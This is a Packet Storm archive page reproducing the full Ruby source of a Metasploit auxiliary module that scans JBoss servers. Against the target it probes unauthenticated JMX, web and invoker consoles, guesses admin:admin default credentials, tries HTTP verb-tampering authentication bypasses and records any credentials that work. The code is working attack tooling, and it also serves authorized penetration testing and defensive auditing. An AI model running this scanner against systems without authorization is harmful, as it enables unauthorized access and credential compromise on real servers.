exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

JBoss Scanner

JBoss Scanner
Posted Sep 1, 2024
Authored by Zach Grace, Tyler Krpata | Site metasploit.com

This Metasploit module scans a JBoss instance for a few vulnerabilities.

tags | exploit, vulnerability
advisories | CVE-2008-3273, CVE-2010-0738, CVE-2010-1428, CVE-2010-1429, CVE-2017-12149
SHA-256 | a12e7bed1c1520945da6933fe60e8e26ea692e83a2883c115107e9e1823fe8de

JBoss Scanner

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##



class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
'Name' => 'JBoss Vulnerability Scanner',
'Description' => %q(
This module scans a JBoss instance for a few vulnerabilities.
),
'Author' =>
[
'Tyler Krpata',
'Zach Grace <@ztgrace>'
],
'References' =>
[
[ 'CVE', '2008-3273' ], # info disclosure via unauthenticated access to "/status"
[ 'CVE', '2010-1429' ], # info disclosure via unauthenticated access to "/status" (regression)
[ 'CVE', '2010-0738' ], # VERB auth bypass on "JMX-Console": /jmx-console/
[ 'CVE', '2010-1428' ], # VERB auth bypass on "Web Console": /web-console/
[ 'CVE', '2017-12149' ] # deserialization: "/invoker/readonly"
],
'License' => BSD_LICENSE
))

register_options(
[
OptString.new('VERB', [ true, "Verb for auth bypass testing", "HEAD"])
])
end

def run_host(ip)
res = send_request_cgi(
{
'uri' => "/" + Rex::Text.rand_text_alpha(12),
'method' => 'GET',
'ctype' => 'text/plain'
})

if res

info = http_fingerprint(:response => res)
print_status("#{rhost}:#{rport} Fingerprint: #{info}")

if res.body && />(JBoss[^<]+)/.match(res.body)
print_error("#{rhost}:#{rport} JBoss error message: #{$1}")
end

apps = [
'/jmx-console/HtmlAdaptor',
'/jmx-console/checkJNDI.jsp',
'/status',
'/web-console/ServerInfo.jsp',
# apps added per Patrick Hof
'/web-console/Invoker',
'/invoker/JMXInvokerServlet',
'/invoker/readonly'
]

print_status("#{rhost}:#{rport} Checking http...")
apps.each do |app|
check_app(app)
end

jboss_as_default_creds

ports = {
# 1098i, 1099, and 4444 needed to use twiddle
1098 => 'Naming Service',
1099 => 'Naming Service',
4444 => 'RMI invoker'
}
print_status("#{rhost}:#{rport} Checking services...")
ports.each do |port, service|
status = test_connection(ip, port) == :up ? "open" : "closed"
print_status("#{rhost}:#{rport} #{service} tcp/#{port}: #{status}")
end
end
end

def check_app(app)
res = send_request_cgi({
'uri' => app,
'method' => 'GET',
'ctype' => 'text/plain'
})



unless res
print_status("#{rhost}:#{rport} #{app} not found")
return
end

case
when res.code == 200
print_good("#{rhost}:#{rport} #{app} does not require authentication (200)")
when res.code == 403
print_status("#{rhost}:#{rport} #{app} restricted (403)")
when res.code == 401
print_status("#{rhost}:#{rport} #{app} requires authentication (401): #{res.headers['WWW-Authenticate']}")
bypass_auth(app)
basic_auth_default_creds(app)
when res.code == 404
print_status("#{rhost}:#{rport} #{app} not found (404)")
when res.code == 301, res.code == 302
print_status("#{rhost}:#{rport} #{app} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")
when res.code == 500 && app == "/invoker/readonly"
print_good("#{rhost}:#{rport} #{app} responded (#{res.code})")
else
print_status("#{rhost}:#{rport} Don't know how to handle response code #{res.code}")
end
end

def jboss_as_default_creds
print_status("#{rhost}:#{rport} Checking for JBoss AS default creds")

session = jboss_as_session_setup(rhost, rport)
return false if session.nil?

# Default AS creds
username = 'admin'
password = 'admin'

res = send_request_raw({
'uri' => '/admin-console/login.seam',
'method' => 'POST',
'version' => '1.1',
'vhost' => "#{rhost}",
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded',
'Cookie' => "JSESSIONID=#{session['jsessionid']}"
},
'data' => "login_form=login_form&login_form%3Aname=#{username}&login_form%3Apassword=#{password}&login_form%3Asubmit=Login&javax.faces.ViewState=#{session["viewstate"]}"
})

# Valid creds if 302 redirected to summary.seam and not error.seam
if res && res.code == 302 && res.headers.to_s !~ /error.seam/m && res.headers.to_s =~ /summary.seam/m
print_good("#{rhost}:#{rport} Authenticated using #{username}:#{password} at /admin-console/")
add_creds(username, password)
else
print_status("#{rhost}:#{rport} Could not guess admin credentials")
end
end

def add_creds(username, password)
service_data = {
address: rhost,
port: rport,
service_name: 'jboss',
protocol: 'tcp',
workspace_id: framework.db.workspace.id
}

credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: password,
private_type: :password,
username: username
}.merge(service_data)

credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
end

def jboss_as_session_setup(rhost, rport)
res = send_request_raw({
'uri' => '/admin-console/login.seam',
'method' => 'GET',
'version' => '1.1',
'vhost' => "#{rhost}"
})

unless res
return nil
end

begin
viewstate = /javax.faces.ViewState" value="(.*)" auto/.match(res.body).captures[0]
jsessionid = /JSESSIONID=(.*);/.match(res.headers.to_s).captures[0]
rescue ::NoMethodError
print_status("#{rhost}:#{rport} Could not guess admin credentials")
return nil
end

{ 'jsessionid' => jsessionid, 'viewstate' => viewstate }
end

def bypass_auth(app)
print_status("#{rhost}:#{rport} Check for verb tampering (#{datastore['VERB']})")

res = send_request_raw({
'uri' => app,
'method' => datastore['VERB'],
'version' => '1.0' # 1.1 makes the head request wait on timeout for some reason
})

if res && res.code == 200
print_good("#{rhost}:#{rport} Got authentication bypass via HTTP verb tampering at #{app}")
else
print_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering")
end
end

def basic_auth_default_creds(app)
res = send_request_cgi({
'uri' => app,
'method' => 'GET',
'ctype' => 'text/plain',
'authorization' => basic_auth('admin', 'admin')
})

if res && res.code == 200
print_good("#{rhost}:#{rport} Authenticated using admin:admin at #{app}")
add_creds("admin", "admin")
else
print_status("#{rhost}:#{rport} Could not guess admin credentials")
end
end

# function stole'd from mssql_ping
def test_connection(ip, port)
begin
sock = Rex::Socket::Tcp.create(
'PeerHost' => ip,
'PeerPort' => port,
'Timeout' => 20
)
rescue Rex::ConnectionError
return :down
end
sock.close
return :up
end
end
Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close